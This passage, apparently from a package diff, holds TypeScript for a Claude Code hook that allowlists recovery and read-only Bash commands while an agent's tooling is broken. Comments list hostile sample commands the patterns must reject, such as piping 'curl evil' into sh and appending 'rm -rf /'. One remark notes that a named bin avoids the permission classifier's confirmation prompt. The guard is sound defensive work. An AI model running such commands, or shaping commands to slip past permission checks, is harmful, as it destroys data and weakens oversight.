`[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/ai-hook-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n *\n * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see\n * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides\n * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n /**\n * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run\n * before webpieces.config.json can even be loaded, so it bypasses everything, always. A\n * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary\n * command the downstream guards still judge.\n */\n readonly cure: boolean,\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(`${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS,\n new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
|
package/src/bin/setup.d.ts
CHANGED
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { renderShim } from './shim';
|
|
2
|
+
import { ClaudeSettings } from './hook-registration';
|
|
2
3
|
export { renderShim };
|
|
3
4
|
declare class HookSpec {
|
|
4
5
|
readonly key: string;
|
|
@@ -35,21 +36,6 @@ interface MigrateResult {
|
|
|
35
36
|
changes: string[];
|
|
36
37
|
}
|
|
37
38
|
export declare function migrate(existing: Json): MigrateResult;
|
|
38
|
-
interface HookCommand {
|
|
39
|
-
type: string;
|
|
40
|
-
command: string;
|
|
41
|
-
}
|
|
42
|
-
interface HookEntry {
|
|
43
|
-
matcher: string;
|
|
44
|
-
hooks: HookCommand[];
|
|
45
|
-
}
|
|
46
|
-
interface ClaudeSettings {
|
|
47
|
-
hooks?: {
|
|
48
|
-
PreToolUse?: HookEntry[];
|
|
49
|
-
};
|
|
50
|
-
[key: string]: unknown;
|
|
51
|
-
}
|
|
52
|
-
export declare function readSettings(settingsPath: string): ClaudeSettings;
|
|
53
39
|
export declare function hasHook(settings: ClaudeSettings, bin: string): boolean;
|
|
54
40
|
export declare function applyHook(hook: HookSpec, chosen: InstallTarget | null, targets: InstallTarget[], projectRoot: string): void;
|
|
55
41
|
export declare function resolveTargetChoice(name: string): string | null;
|
package/src/bin/setup.js
CHANGED
|
@@ -3,7 +3,6 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
|
|
3
3
|
exports.GUARDS_HOOK = exports.RULES_HOOK = exports.InstallTarget = exports.renderShim = void 0;
|
|
4
4
|
exports.installTargets = installTargets;
|
|
5
5
|
exports.migrate = migrate;
|
|
6
|
-
exports.readSettings = readSettings;
|
|
7
6
|
exports.hasHook = hasHook;
|
|
8
7
|
exports.applyHook = applyHook;
|
|
9
8
|
exports.resolveTargetChoice = resolveTargetChoice;
|
|
@@ -18,14 +17,18 @@ const rules_config_1 = require("@webpieces/rules-config");
|
|
|
18
17
|
const to_error_1 = require("../core/to-error");
|
|
19
18
|
const shim_1 = require("./shim");
|
|
20
19
|
Object.defineProperty(exports, "renderShim", { enumerable: true, get: function () { return shim_1.renderShim; } });
|
|
20
|
+
const guarantee_root_1 = require("./guarantee-root");
|
|
21
|
+
const hook_registration_1 = require("./hook-registration");
|
|
21
22
|
const CONFIG_FILENAME = 'webpieces.config.json';
|
|
22
23
|
const DEFAULT_BUILD_COMMAND = 'pnpm nx affected --target=ci --base=origin/main';
|
|
23
24
|
const DEFAULT_UPSERT_PR = 'pnpm wp-start-upsert-pr';
|
|
24
25
|
const DEFAULT_MERGE_COMPLETE = 'pnpm wp-finish-upsert-pr';
|
|
25
26
|
// ---------------------------------------------------------------------------
|
|
26
|
-
// The two independently-installable hooks. Each can land in a different settings
|
|
27
|
-
//
|
|
28
|
-
//
|
|
27
|
+
// The two independently-installable GUARD hooks. Each can land in a different settings file (see
|
|
28
|
+
// InstallTarget) so a team can ship the guards while a developer keeps the code-style rules local
|
|
29
|
+
// while iterating. The L-1 hook is a third registration but is NOT independently installable — it
|
|
30
|
+
// rides with the guards hook (applyGuaranteeRoot), because it exists to protect the RELATIVE
|
|
31
|
+
// resolution of these two and is meaningless without them.
|
|
29
32
|
// ---------------------------------------------------------------------------
|
|
30
33
|
class HookSpec {
|
|
31
34
|
key;
|
|
@@ -39,37 +42,16 @@ class HookSpec {
|
|
|
39
42
|
this.bin = bin;
|
|
40
43
|
}
|
|
41
44
|
// Absolute targets (global) need the exact path to this repo's bin — no ~/.webpieces bridge.
|
|
42
|
-
// Project
|
|
43
|
-
//
|
|
44
|
-
//
|
|
45
|
-
// of `command not found` (exit 127) silently skipping the guard. It stays portable (no hardcoded
|
|
46
|
-
// absolute path), and the shim still degrades gracefully when node_modules is absent. See
|
|
47
|
-
// writeShim(); the git-repo-boundary decision (foreign clone → allow) then happens in the binary.
|
|
45
|
+
// Project targets get the RELATIVE shim command (see hook-registration.ts for why relative is the
|
|
46
|
+
// whole point), and the L-1 hook registered beside them is what keeps a relative path from ever
|
|
47
|
+
// failing to resolve — which per the hooks reference would be a SILENT UNGUARDED ALLOW, not a block.
|
|
48
48
|
commandFor(target, projectRoot) {
|
|
49
49
|
if (target.absolute) {
|
|
50
50
|
return `node ${path.join(projectRoot, 'node_modules', '.bin', this.bin)}`;
|
|
51
51
|
}
|
|
52
|
-
return shimCommand(this.bin);
|
|
52
|
+
return (0, hook_registration_1.shimCommand)(this.bin);
|
|
53
53
|
}
|
|
54
54
|
}
|
|
55
|
-
// ---------------------------------------------------------------------------
|
|
56
|
-
// Single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing
|
|
57
|
-
// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin
|
|
58
|
-
// (fresh clone, package removed) yields a friendly "run pnpm install" line instead of the raw
|
|
59
|
-
// `sh: No such file or directory` on every Write/Edit/Bash tool call. The bin name rides along in
|
|
60
|
-
// the command string, so `command.includes(bin)` still detects/uninstalls each hook (hasHook /
|
|
61
|
-
// removeHook). `.claude` is committed, so the shim survives even when node_modules does not.
|
|
62
|
-
// The shim body + path live in ./shim (shared with the runtime self-heal in hook-core); only the
|
|
63
|
-
// settings.json command string is built here.
|
|
64
|
-
// ---------------------------------------------------------------------------
|
|
65
|
-
function shimCommand(bin) {
|
|
66
|
-
// Invoke via `sh <file>` rather than executing the shim directly: `sh` reads a 0644 file fine, so
|
|
67
|
-
// a missing executable bit on the checked-in shim (fresh clone, a filesystem that drops the bit,
|
|
68
|
-
// git core.fileMode quirks) can NEVER break the hook with a raw `Permission denied` on every tool
|
|
69
|
-
// call. $CLAUDE_PROJECT_DIR (exported to hooks by Claude Code) = the project root, so the shim
|
|
70
|
-
// resolves from any cwd. Quoted to survive spaces in the path.
|
|
71
|
-
return `sh "$CLAUDE_PROJECT_DIR/${shim_1.SHIM_MARKER}" ${bin}`;
|
|
72
|
-
}
|
|
73
55
|
// Idempotent: re-running the installer overwrites the managed shim in place.
|
|
74
56
|
function writeShim(projectRoot) {
|
|
75
57
|
const target = (0, shim_1.shimPath)(projectRoot);
|
|
@@ -83,14 +65,56 @@ function removeShim(projectRoot) {
|
|
|
83
65
|
if (fs.existsSync(target))
|
|
84
66
|
fs.rmSync(target);
|
|
85
67
|
}
|
|
86
|
-
//
|
|
87
|
-
// it anymore (i.e. the other hook was moved to global or uninstalled too).
|
|
88
|
-
function
|
|
68
|
+
// A managed .sh is shared by the project hooks — only safe to delete once no project settings file
|
|
69
|
+
// references it anymore (i.e. the other hook was moved to global or uninstalled too).
|
|
70
|
+
// webpieces-disable no-function-outside-class -- setup.ts is deliberately DI-free (it must run on a half-written node_modules; see install-entry.ts), so every function here is module-scope
|
|
71
|
+
function markerReferenced(targets, marker) {
|
|
89
72
|
return targets.some((t) => {
|
|
90
|
-
const entries = readSettings(t.settingsPath).hooks?.PreToolUse ?? [];
|
|
91
|
-
return entries.some((e) => e.hooks.some((h) => h.command.includes(
|
|
73
|
+
const entries = (0, hook_registration_1.readSettings)(t.settingsPath).hooks?.PreToolUse ?? [];
|
|
74
|
+
return entries.some((e) => e.hooks.some((h) => h.command.includes(marker)));
|
|
92
75
|
});
|
|
93
76
|
}
|
|
77
|
+
// webpieces-disable no-function-outside-class -- setup.ts is deliberately DI-free (it must run on a half-written node_modules; see install-entry.ts), so every function here is module-scope
|
|
78
|
+
function removeGuaranteeRootFile(projectRoot) {
|
|
79
|
+
const target = (0, guarantee_root_1.guaranteeRootPath)(projectRoot);
|
|
80
|
+
if (fs.existsSync(target))
|
|
81
|
+
fs.rmSync(target);
|
|
82
|
+
}
|
|
83
|
+
// Drop every PreToolUse command referencing the L-1 hook; returns true if anything was removed.
|
|
84
|
+
// webpieces-disable no-function-outside-class -- setup.ts is deliberately DI-free (it must run on a half-written node_modules; see install-entry.ts), so every function here is module-scope
|
|
85
|
+
function removeGuaranteeRootHook(settings) {
|
|
86
|
+
return removeHookByMarker(settings, guarantee_root_1.GUARANTEE_ROOT_MARKER);
|
|
87
|
+
}
|
|
88
|
+
/**
|
|
89
|
+
* Install / move / uninstall the L-1 hook (guarantee-root.sh) alongside the GUARDS hook.
|
|
90
|
+
*
|
|
91
|
+
* It rides with the guards hook and not the rules hook because it judges `cd`, `cd` arrives on Bash,
|
|
92
|
+
* and `Bash` is in the guards matcher. It is registered ABSOLUTE while the guard hooks are RELATIVE —
|
|
93
|
